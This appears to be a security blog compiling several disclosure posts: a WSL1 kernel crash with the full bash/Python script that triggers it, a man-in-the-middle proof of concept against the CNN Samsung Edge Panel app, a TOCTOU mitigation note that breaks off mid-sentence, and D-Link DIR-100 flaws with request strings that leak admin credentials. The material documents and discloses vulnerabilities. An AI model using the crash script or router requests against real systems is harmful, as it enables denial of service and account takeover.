What is TLS: Transport Layer Security, the protocol that does the security part of HTTPS. TLS includes “handshaking” so both the client and server can agree on various details on how to verify each other and how to encrypt data.
What is heartbleed: Transport Layer Security (the protocol that makes HTTP HTTPS), has an extension for doing heartbeat. The trouble is that the client can specify how many bytes it’s sending. Heartbleed was the result of servers not verifying how many bytes it had received, and thus could return “random” (other parts of the application, such as keys) data.
What were the issues with HKP (Http Public Key Pinning): It was difficult to use right and things could go very wrong. It has been removed from all major clients (either entirely or by default), so websites are unlikely to use it. In addition, it can be abused for ransom. Imagine if I could tell your users: Hey users, only connect to his site for the next X seconds if it presents my certificate, with X being some significant time-period like a month or year.
How Windows Update does transport-security (hint: It doesn’t): Instead of doing HTTPS, the client downloads files over HTTP, which have to be signed by Microsoft to be executed, which limits the danger. This is kind of like how Debian-based Linux-distros do it (though they use PGP-signed packages, and support independent PGP-keys)
Why is it “referer” and not “referrer” (in HTTP): It’s misspelled in the standard, which is how we got “referer”
How does MSCHAPv2 (MicroSoft Challenge Handshake Authentication Protocol) work (RADIUS, WPA2-Enterprise)? Here’s my ID (username), let’s do TLS, then I challenge you to hash the password-hash you have and some data I send you, and you challenge me by doing the same, we check what the other sent us back and if we agree then we’re good.
Found at or before May 2nd, 2017
Reported May 2nd~3rd, 2017
Fixed in 10.0.15063.XXX 2017-XX-XX
Demo
Story
Years ago, while trying to fuzz the GDB-server-implementation in the Nintendo® Game Boy Advance-emulator VBA-M (Visual-Boy Advance), I came upon a few issues. For one, fuzzing on Windows 10, my primary operating-system, was not as easy as I’d like it to. Now this was a fairly easy problem to solve, as Microsoft had just a few months before released their first stable release of the Windows Subsystem for Linux (IIRC, still called Bash on Windows at the time). The second issue, was that I couldn’t find an appropriate protocol-fuzzer for GDB. This required a bit more work, requiring me to write one myself in python. GDB treats a TCP-connection as a serial-port, meaning it reuses the GDB serial-protocol. The GDB serial-protocol is reasonably well documented, so this didn’t pose too many additional hours. Then, there was the big issue: My computer crashing.
Picture of the bugcheck
A bugcheck, or Blue Screen Of Death, is triggered whenever the Windows kernel detects an error. VBA-M runs in user-mode, as does GDB, as does my python-based fuzzer. Nothing in user-mode should be able to cause a kernel crash and if it does, that’s a bug, and a potential security-issue.
So, now the questions become what’s triggered, where is it triggered, and how is it triggered.
Now, the first clue is in the bugcheck itself, on the bottom-most line: “LXCORE.SYS”. LXCORE.SYS, which was previously known as dates back to Microsofts Project Astoria, and is the core kernel-component of WSL1 (As the name suggests). So now we know what kernel-module is failing, and it’s not too surprising that it is the (then) relatively new WSL1.
The second clue? Well it happens when VBA-M has its GDB-server enabled, but not when it isn’t. Third, when the bugcheck is triggered, Windows writes a memory-dump to the C:\-drive. The memory-dump includes everything that’s needed to find out what went wrong, including the stack-trace. The stack-trace, or the call-stack if you will, includes references to functions like: “LxpSocketInetStreamShutdownInternal”, “LxpSocketInetStreamFileReleaseInternal”, and “LxpSocketInetStreamAcceptWorkerRoutine”. These functions have a few words in common, such as “Lxp” (possibly LinuX Pico), “Inet” (indicating IP), and “Stream” (in context, TCP). The word “Accept” indicates that it likely has to do with the server accepting a connection.
Exploit
Now, to test the hypothesis, we need to create the most basic possible “server”, and associated client. To accept a TCP-connection, you need to do three syscalls in a *nix-system:
You need to bind the socket to a port
You need to listen on that socket
You need to accept the connection
When you do this, and have a client send data early, you end up with a bugcheck. Yay for crashing the PC.
The below exploit is very simple, it’s just a bash-program (with some flare of course), that writes a python client and a python server to disk, then runs both of them for a few seconds (assuming that if the bug is triggered, it’s relatively fast). If the program completes running for more than 1 minute, it’s assumed that the bugcheck has been fixed.
#!/bin/bash
function typewriter
{
text="$1"
for i in $(seq 0 $(expr length "${text}")) ; do
echo -n "${text:$i:1}"
sleep 0.003
done
}
function hackify
{
echo -e "\033[38;2;0;250;0m"
echo -e "\033[48;2;0;000;0m"
}
typewriter "[ * ] Hackifying terminal"
for i in $(seq 3); do
echo -n .
sleep .3
done
hackify
clear
typewriter "[ * ] Terminal hackified"
sleep 1
clear
typewriter "|----------------------------------------|";echo
typewriter "| |";echo
typewriter "| Babesia |";echo
typewriter "| |";echo
typewriter "| by @sundhaug92 |";echo
typewriter "| |";echo
typewriter "|----------------------------------------|";echo
echo
echo 3
echo "
import socket
import time
s = socket.socket()
s.bind(('0.0.0.0', 55555))
s.listen(1)
s.accept()
while True: time.sleep(1)" > server.py
sleep 1
echo 2
echo -e "
import socket
r = []
while True:
s = socket.socket()
s.connect(('localhost', 55555))
s.send(b'A')
r.append(s)" > client.py
sleep 1
echo 1
python server.py &
server_pid=$!
sleep 1
python3 client.py &
client_pid=$!
sleep 1
echo IMPACT
for i in $(seq 60); do
echo -n .
sleep 1
done
clear
typewriter "https://www.youtube.com/watch?v=w1--BxLy3lg#t=1m39s";echo
typewriter "^ We're still here'";echo
echo
typewriter "killing child-processes"
kill -9 $server_pid $client_pid
The exploit is named after Babesia, which is a single-cell parasite.
Online identity is hard to do right, no matter if you ask the authentication folks or the cryptography folks either agree on this point, but this is not how you do it. Ignoring that the terminal period within the quotation marks should be outside the quotation marks, the description given there only proves that whoever sent the email gave enough fucks to turn setup TLS, which is free and dirt easy (Seriously, with many hosting providers, it’s a switch you flip).
The padlock-bit does not require the site to be secure neither in the “uses HTTPS”-way, nor in the “uses HTTPS securely”-way, nor the “does not have vulnerabilities”-way, a site filled to the brim with vulnerabilities, could still have the browser show a padlock icon (note, the description doesn’t say where to find it, and even if it did the site could use HTTPS and a favicon of a padlock, or an emoji somewhere in the address-bar 🔒.
As for the twitter.com-bit? It doesn’t say that that has to be the entire domain, nor even part of the domain, both https://twitter.com.sundhaug.com/ (not actually setup), and https://www.sundhaug.com/this-is-not-twitter.com/ are valid links to prove an email is from Twitter, which is obviously absurd.
Now, of course, Twitter could change this text to specify that the link has to start with https://twitter.com/, but even then, anyone could send an email with a link to something at twitter.com, and oftentimes do, without that making their emails “from” Twitter, and a phisher could expand upon the list of domains that are supposedly valid, because there’s no way for the user to verify that part of the email was from Twitter (and even if there was, why not just have a way to verify the entire email, even if most if not all users will never do so manually and you’d probably have to find a way to do it automatically).
A humble first for a small series on leaky and vulnerable apps
The Samsung-exclusive app CNN for Samsung Edge Panel, exists to enable users to get the latest news as an edge-panel. To do this it uses HTTP to get sections, images, headlines, links to articles and report metrics back to CNN. This means that, on an insecure or untrusted network, it’s this possible for a third-party (someone not CNN or the user) to find out how, if and when the app is used, which categories the user is interested in, if they want the US or international version, details about the device, details about the service-provider, the possibility to log or replace any image shown in the app, as well as any title or article link.
The included PoC uses mitmdump and python to extract received telemetry and modify content, replacing headlines, images, and links. While the PoC could use HTTP 301 to move the section-definitions to a third-party server, this has intentionally not been done, in order to ensure it’s easily reversible. As of writing, this exploit works with the most up to date version of the app.
Proof of Concept
Source: Github Requirements: mitmproxy 4.0.4 installed on the PC (pip install -r requirements.txt), CNN for Samsung Edge Panel (1.0.rc39) installed on the Samsung mobile device (available in the Galaxy Store)
Only tested with Python 3.6.5 on Ubuntu 18.04.1
1. On the test PC run: mitmdump -s cnn-edge-panel-01/src/demo.py --anticomp --anticache --ignore :443$ 2. On the Samsung mobile device: set the test PC as the HTTP proxy of the device 3. (not necessary) On the Samsung mobile device: open a browser and go to a website, if you see “… clientconnect” or “GET …” in the window mitmdump terminal, things should be working 4. Open the CNN for Samsung Edge Panel app. If the PoC works, you should see all categories being renamed “Hacking”, and all the news being replaced with jokes. Pressing “Hack all the things”, should then open a YouTube video. Additionally, the terminal should have at least one line reading “Got metrics …”, config.outturner.com, metrics.cnn.com, and compositor.api.cnn.com.
Depending on caching, you might experience that the sections retain their unmodified names if this happens but the headlines and such changed, the app didn’t reload edge-config.json but did reload the section. As of writing, it appears edge-config.json has been 404ed, the PoC has been updated to bypass this.
Expected behavior
HTTPS, not HTTP being used in the app, HTTP 301, HSTS on compositor.api.cnn.com
edge-config.json only lists HTTPS URLs
edgepanelkill.json only lists HTTPS URLs
Timeline
2018-09-11 Issue reported to Samsung
2018-09-14 Samsung dismisses issue (not a Samsung app)
Time of check to time of use is a class of vulnerabilities that depend on it taking some amount of time between the time a certain resource is validated and the time the resource is used. For further information, please consult the Wikipedia-article. In this post, I’ll propose using memory-protection to try and stop some TOCTOU-attacks where the resource to be validated and used is a region of memory. This is a way of stopping TOCTOU by making the memory-region immutable (read https://www.sans.org/reading-room/whitepapers/securecode/tour-tocttous-1049)
validate_resource is going to start off with basic validation before it goes off to more complex validation
validate_resource is going to take some amount of time
There’s some other, in-process, not pictured, thread that can access res while be_vulnerable is running
If the other thread manages to access res while validate_resource is running, then be_vulnerable could end up in a situation where the validation does not match the value of res.
One way to avoid this is to use mprotect (2), like this:
void be_vulnerable() {
void* res=load_resource("some-resource");
mprotect(res, len, PROT_READ); // len not defined, to simplify example
if(!validate_resource(res)) {
printf("Something bad happened");
exit(-1);
}
use_resource(res);
}
This way, you can ensure that after line 3, you’re looking at a definitive truth. Now, there are some limitations to this, sharing res with other processes makes things a bit more difficult (you have to use O_RDONLY when calling shm_open(3)) or have res be placed in shared memory, copying the data doesn’t copy the protection. Fun fact: If you want to work on private data, you can create a code-section that directly accesses the data, then map that code-section PROT_EXEC (without PROT_READ), this is used in Safari on iOS.
Yeah Martin, that’s fine and dandy, but my problem is with code running on devices, not on the main CPU (yes, this has actually been a problem on some consoles).
Well, dear reader, I might still have a solution for you, it’s called an IOMMU. Yes, it’s an MMU, for IO (devices). Now, for security purposes, the IOMMU can only be controlled from the kernel-mode (or hypervisor if you’re using one), so if you’re in user-mode you’re out of luck (unless OSes add support outside of VMs). With the IOMMU, you can carve out regions of memory you want or don’t want a given domain to access, then assign devices to said domain. For simplicity, you can still have the available regions 1:1-mapped for the domains.
Final fun fact: IOMMUs are used on macOS and Windows to stop plugged in devices from accessing memory bef
(post recovered after backup-issues, thanks to Archive.org)
After the previous set of bugs was discovered (read my previous blog-post about it here), D-Link implemented access controls. This made most commands and variables protected. So for example, an unauthentificated can’t ask for the administrative password in B13 and B15 nor can he do other naughty stuff an ill-behaved unauthentificated user may want to do (I’m considering writing more on that in a later blog-post) but he can ask for the current system language, that’s not too dangerous, now is it?
An inquisitive mind, will note that multiple cliget-commands can be batched together in one HTTP-request. If the unauthentificated user asks for say /cliget.cgi?cmd=$sys_user1%;$poe_user%;$poe_pass, the router will tell him rightfully of, those are all protected variables and this is the expected result. However, let’s say the first variable isn’t a protected variable, let’s say the request is for /cliget.cgi?cmd=$sys_language%;$sys_user1%;$poe_user%;$poe_pass. As you’ll notice, this just asks for the current language in addition to all the previously mentioned hush-hush-stuff, the correct response would be for the router to tell him off again but unless it runs on a firmware I’m about to link you to, it’ll say “he asked for the language, the admin-credentials and the poe-credentials, language seems good go right ahead then” and let the unauthentificated user read the administrative password, amongst other things.
This should be seen as a good lesson for the importance of correct array usage; if you take an array, validate all elements before taking them for granted, don’t just check the first and be done with it.
This issue has been fixed in 4.03 B13_fam2 (ftp://dlinktemp:dlinktemp2015@194.117.170.198/Router/DIR-100/RevD/DIR100D1_FW403WWB13_fam2.bin) Yes, I know downloading from IPs, especially IPs not registred in a block owned by the device manufacturer seems shady, I don’t like it but that’s the link I got so that’s what I can give you, the firmwares don’t seem to be neither signed nor encrypted nor do any public hashes/hashfiles from a reputable source exist so you choose if you trust me or not, though the official D-Link twitter-account has apparently refered to it before (https://twitter.com/dlink/status/181876200338231297).
For the record, I don’t hate the DIR-100D1, I’ve grown rather fond of mucking about with it and if there’s interest, I’ll write more about what I’ve done to the poor thing and learned from mucking about.
So, let’s say you have this router, the DIR-100 revision D1, I did. Being bored, I went the login screen but since the password was not the default I was unable login. So I cranked open Chromes fantastic development tools.
Now, I sent random values to try to capture some traffic and lo and behold there was a several requests made to /cliget.cgi?cmd=$… . The client-side code was loading configuration-data using XHR, including a partial MD5 of the password! Trying more values I discovered that if I requested /cliget.cgi?cmd=$, I would get the entire configuration file, including the username and password! The router was giving away admin access to everyone with access to the login page (LAN, or if remote admin is enabled LAN+WAN).
Later, revisiting the router I discovered that the thing didn’t check the HTTP Origin header, meaning that a basic CSRF attack could successfully perform a login, given a known username and password. I also discovered the /cli.cgi?cmd= API that is used by the client-side code to change the configuration setting, which also proved unable to hinder basic CSRF attacks. Using a simple link and i bit of JavaScript a hacker could take control of someones network including but not limited to redirecting traffic.
After watching a bit of WarGames (the 80’s flick that thaught us that every system has a help function) I got this funky idea, that would happen if I requested help from the router? Apparently, a lot, you get a list of every command in the system, including amongst other dhcps (lists all DHCP-clients), mem, reboot and GDB (supposedly not GNU GDB). One of the first thing i tried executing, was gdb which crashed the system, it might be that it triggers a debugger Connected to the internal 3-pin serial port. mem however is quite a different beast, it’s a memory monitor like debug.com of DOS-past. That’s right: you can read and write memory on the device without authentification.
In addition to all this, I have it from credible sources that the router is plagued by the wide-spread UPnP portmap-from-wan bug that was detected, which means that an attacker may use the router for connection-bouncing and/or presumably use the UPnP bug to gain access to the internal admin-panel.
So, as any responsible man would do, I attempted to contact D-Link, to no avail. D-Link has also made it difficult to track down firmware upgrades for the router.
I ask that anyone handling this information does so with care, and that D-Link makes sufficient arrangements for their unprotected customers.
SIM-cards, the small insert-and-forget chip installed in every GSM-base mobilephone have recently been the target of a project to test the security therein. Among other things one of the discovered was cryptographic functions belonging decades ago.